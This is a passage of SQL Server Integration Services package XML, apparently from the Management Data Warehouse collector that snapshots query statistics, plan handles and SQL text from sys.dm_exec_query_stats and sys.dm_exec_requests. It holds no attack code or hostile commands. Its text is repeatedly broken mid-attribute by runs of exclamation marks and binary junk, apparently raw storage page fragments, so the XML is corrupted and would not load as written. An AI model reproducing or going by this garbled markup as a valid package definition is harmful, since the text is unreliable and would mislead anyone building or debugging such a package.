and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_clr_time]" dataType="i8" name="snapshot_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_clr_time]" dataType="i8" name="min_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_clr_time]" dataType="i8" name="max_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_elapsed_time]" dataType="i8" name="total_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_elapsed_time]" dataType="i8" name="snapshot_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_elapsed_time]" dataType="i8" name="min_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_elapsed_time]" dataType="i8" name="max_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[collection_time]" dataType="dbTimeStampOffset" name="collection_time" scale="7"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_id]" dataType="i4" name="snapshot_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_execution_count]" dataType="i8" name="snapshot_execution_count"/></externalMetadataColumns></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Outputs[OLE DB Destination Error Output]" exclusionGrou	!!!!!!!!!!!!!!!!!!!!!!!!`;)LȀHvp="1" isErrorOut="true" name="OLE DB Destination Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles" componentClassID="{4ADA7EAA-136C-4215-8098-D7A7C27FC0D1}" contactInfo="OLE DB Destination;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;4" description="OLE DB Destination" name="ODD - Upload interesting plan handles" usesDispositions="true" version="4"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset">[snapshots].[notable_query_plan]</property><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.Boolean" description="Indicates whether the values supplied for identity columns will be copied to the destination. If false, values for identity columns will be auto-generated at the destination. Applies only if fast load is turned on." name="FastLoadKeepIdentity">false</property><property dataType="System.Boolean" description="Indicates whether the columns containing null will have null inserted in the destination. If false, columns containing null will have their default values inserted at the destinaton. Applies only if fast load is turned on." name="FastLoadKeepNulls">false</property><property dataType="System.String" description="Specifies option	!!!!!!!!!!!!!!!!!!!!!!!!`;-^Hvs to be used with fast load.  Applies only if fast load is turned on." name="FastLoadOptions">CHECK_CONSTRAINTS</property><property dataType="System.Int32" description="Specifies when commits are issued during data insertion.  A value of 0 specifies that one commit will be issued at the end of data insertion.  Applies only if fast load is turned on." name="FastLoadMaxInsertCommitSize">1000</property></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input]" errorOrTruncationOperation="Insert" errorRowDisposition="RedirectRow" hasSideEffects="true" name="OLE DB Destination Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[sql_handle]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[plan_handle]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[plan_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" cachedSortKeyPosition="3" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[statement_start_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[statement_start_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" cachedSortKeyPosition="4" externalMetadataColumn	!!!!!!!!!!!!!!!!!!!!!!!!`;}MHvId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[statement_end_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[statement_end_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[creation_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[creation_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].Columns[source_id]" cachedDataType="i4" cachedName="source_id" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[source_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (1).Outputs[Derived Column Output].Columns[source_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" cachedSortKeyPosition="5" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[plan_generation_num]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle and plan_handle combinations.Outputs[Sort Output].Columns[plan_generation_num]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[statement_en	!!!!!!!!!!!!!!!!!!!!!!!!`;
0CHvd_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[creation_time]" dataType="dbTimeStampOffset" name="creation_time" scale="7"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[database_id]" dataType="i2" name="database_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[object_id]" dataType="i4" name="object_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[object_name]" dataType="wstr" length="128" name="object_name"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[query_plan]" dataType="nText" name="query_plan"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[source_id]" dataType="i4" name="source_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input].ExternalColumns[plan_generation_num]" dataType="i8" name="plan_generation_num"/></externalMetadataColumns></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Outputs[OLE DB Destination Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Destination Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Inputs[OLE DB Destination Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting plan handles.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles" componentClassID="{4ADA7EAA-136C-4	!!!!!!!!!!!!!!!!!!!!!!!!`;	֓;Hv215-8098-D7A7C27FC0D1}" contactInfo="OLE DB Destination;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;4" description="OLE DB Destination" name="ODD - Upload interesting sql handles" usesDispositions="true" version="4"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset">[snapshots].[notable_query_text]</property><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.Boolean" description="Indicates whether the values supplied for identity columns will be copied to the destination. If false, values for identity columns will be auto-generated at the destination. Applies only if fast load is turned on." name="FastLoadKeepIdentity">false</property><property dataType="System.Boolean" description="Indicates whether the columns containing null will have null inserted in the destination. If false, columns containing null will have their default values inserted at the destinaton. Applies only if fast load is turned on." name="FastLoadKeepNulls">false</property><property dataType="System.String" description="Specifies options to be used with fast load.  Applies only if fast load is turned on." name="FastLoadOptions">CHECK_CONSTRAINTS</property><property dataType="System.Int32" description="Specifies when commits are issued during data insertion.  A value of 0 specifies that one commit will be issued at the end of data insertion.  Applies only if fast load is turned on." name="FastLoadMaxInsertCommitSize">1000</property></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input]" errorOrTruncationOperation="Insert" errorRowDisposition="RedirectRow" hasSideEffects="true" name="OLE DB Destination Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Creat	!!!!!!!!!!!!!!!!!!!!!!!!`;
Q9Hve Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input].ExternalColumns[sql_handle]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Find unique sql_handle values.Outputs[Sort Output].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input].Columns[source_id]" cachedDataType="i4" cachedName="source_id" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input].ExternalColumns[source_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add source_id (2).Outputs[Derived Column Output].Columns[source_id]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input].ExternalColumns[database_id]" dataType="i2" name="database_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input].ExternalColumns[object_id]" dataType="i4" name="object_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input].ExternalColumns[object_name]" dataType="wstr" length="128" name="object_name"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input].ExternalColumns[sql_text]" dataType="nText" name="sql_text"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input].ExternalColumns[source_id]" dataType="i4" name="source_id"/></externalMetadataColumns></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Outputs[OLE DB Destination Error Output]" exclusionGroup="1" isErrorOut="true" name="OLE DB Destination Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Inputs[OLE DB Destination Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Outputs[OLE DB Destination Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics 	!!!!!!!!!!!!!!!!!!!!!!!!`;%R6Hvand query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Upload interesting sql handles.Outputs[OLE DB Destination Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats" componentClassID="{165A526D-D5DE-47FF-96A6-F8274C19826B}" contactInfo="OLE DB Source;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;7" description="OLE DB Source" name="ODS - Get current snapshot of dm_exec_query_stats" usesDispositions="true" version="7"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset"/><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91">SET NOCOUNT ON
DECLARE @p1 datetime
SET @p1 = GETDATE()

SELECT 
    [sql_handle],
    statement_start_offset,
    statement_end_offset,
    -- Use ISNULL here and in other columns to handle in-progress queries that are not yet in sys.dm_exec_query_stats.  
    -- These values only come from sys.dm_exec_query_stats. If the plan does not show up in sys.dm_exec_query_stats 
    -- (first execution of a still-in-progress query, visible in sys.dm_exec_requests), these values will be NULL. 
    MAX (plan_generation_num) AS plan_generation_num,
    plan_handle,
    MIN (creation_time) AS creation_time, 
    MAX (last_execution_time) AS last_execution_time,
    SUM (execution_count) AS execution_count,
    SUM (total_worker_time) AS total_worker_time,
    MIN (min_worker_time) AS min_worker_time,           -- NULLable
    MAX (max_worker_time) AS max_worker_time,
    SUM (total_physical_reads) AS total_physical_reads,
    MIN (min_physical_reads) AS min_physical_reads,     -- NULLable
    MAX (max_physical_reads) AS max_physical_reads,
    SUM (total_logical_writes) AS total_logical_writes,
    MIN (min_logical_writes) AS min_logical_writes,     -- NULLable
    MAX (max_logical_writes) AS max_logical_writes,
    SUM (total_logical_reads) AS total_logical_reads,
    MIN (min_logical_reads) AS min_logical_reads,       -- NULLable
    MAX (max_logical_reads) AS max_logical_reads,
    SUM (total_clr_time) AS total_clr_time,
    MIN (min_clr_time) AS min_clr_time,                 -- NULLable
    MAX (max_clr_time) AS max_clr_time,
    SUM (total_elapsed_time) AS total_elapsed_time,
    MIN (min_elapsed_time) AS min_elapsed_time,         -- NULLable
    MAX (max_elapsed_time) AS max_elapsed_time,
    @p1 AS collection_time
FROM
(
    SELECT  
        [sql_handle],
        statement_start_offset,
        statement_end_offset,
        plan_generation_num,
        plan_handle,
        creation_time,
        last_execution_time,
        execution_count,
        total_worker_time,
        min_worker_time,
        max_worker_time,
        total_physical_reads,
        min_physical_reads,
        max_physical_reads,
        total_logical_writes,
  	!!!!!!!!!!!!!!!!!!!!!!!!`;)uWHv      min_logical_writes,
        max_logical_writes,
        total_logical_reads,
        min_logical_reads,
        max_logical_reads,
        total_clr_time,
        min_clr_time,
        max_clr_time,
        total_elapsed_time,
        min_elapsed_time,
        max_elapsed_time 
    FROM sys.dm_exec_query_stats AS q
    -- Temporary workaround for VSTS #91422.  This should be removed if/when sys.dm_exec_query_stats reflects in-progress queries. 
    UNION ALL 
    SELECT 
        r.[sql_handle],
        r.statement_start_offset,
        r.statement_end_offset,
        ISNULL (qs.plan_generation_num, 0) AS plan_generation_num,
        r.plan_handle,
        ISNULL (qs.creation_time, r.start_time) AS creation_time,
        r.start_time AS last_execution_time,
        1 AS execution_count,
        -- dm_exec_requests shows CPU time as ms, while dm_exec_query_stats 
        -- uses microseconds.  Convert ms to us. 
        r.cpu_time * CAST(1000 as bigint) AS total_worker_time,
        qs.min_worker_time,     -- min should not be influenced by in-progress queries
        r.cpu_time * CAST(1000 as bigint) AS max_worker_time,
        r.reads AS total_physical_reads,
        qs.min_physical_reads,  -- min should not be influenced by in-progress queries
        r.reads AS max_physical_reads,
        r.writes AS total_logical_writes,
        qs.min_logical_writes,  -- min should not be influenced by in-progress queries
        r.writes AS max_logical_writes,
        r.logical_reads AS total_logical_reads,
        qs.min_logical_reads,   -- min should not be influenced by in-progress queries
        r.logical_reads AS max_logical_reads,
        qs.total_clr_time,      -- CLR time is not available in dm_exec_requests
        qs.min_clr_time,        -- CLR time is not available in dm_exec_requests
        qs.max_clr_time,        -- CLR time is not available in dm_exec_requests
        -- dm_exec_requests shows elapsed time as ms, while dm_exec_query_stats 
        -- uses microseconds.  Convert ms to us. 
        r.total_elapsed_time * CAST(1000 as bigint) AS total_elapsed_time,
        qs.min_elapsed_time,    -- min should not be influenced by in-progress queries
        r.total_elapsed_time * CAST(1000 as bigint) AS max_elapsed_time
    FROM sys.dm_exec_requests AS r 
    LEFT OUTER JOIN sys.dm_exec_query_stats AS qs ON r.plan_handle = qs.plan_handle AND r.statement_start_offset = qs.statement_start_offset 
        AND r.statement_end_offset = qs.statement_end_offset 
    WHERE r.sql_handle IS NOT NULL 
) AS query_stats 
OUTER APPLY sys.dm_exec_sql_text (sql_handle) AS sql
GROUP BY [sql_handle], plan_handle, statement_start_offset, statement_end_offset 
ORDER BY [sql_handle], plan_handle, statement_start_offset, statement_end_offset</property><property dataType="System.String" description="The variable that contains the SQL command to be executed." name="SqlCommandVariable"/><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">2</property><property dataType="System.String" description="The mappings between the parameters in the SQL command and variables." name="ParameterMapping"/></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[TargetConnection]" connectionManagerRefId="Package.ConnectionManagers[TargetConnection]" description="The OLE DB runtime connection use	!!!!!!!!!!!!!!!!!!!!!!!!`;-ۯHvd to access the database." name="OleDbConnection"/></connections><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output]" isSorted="true" name="OLE DB Source Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[sql_handle]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].ExternalColumns[sql_handle]" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[sql_handle]" name="sql_handle" sortKeyPosition="1" 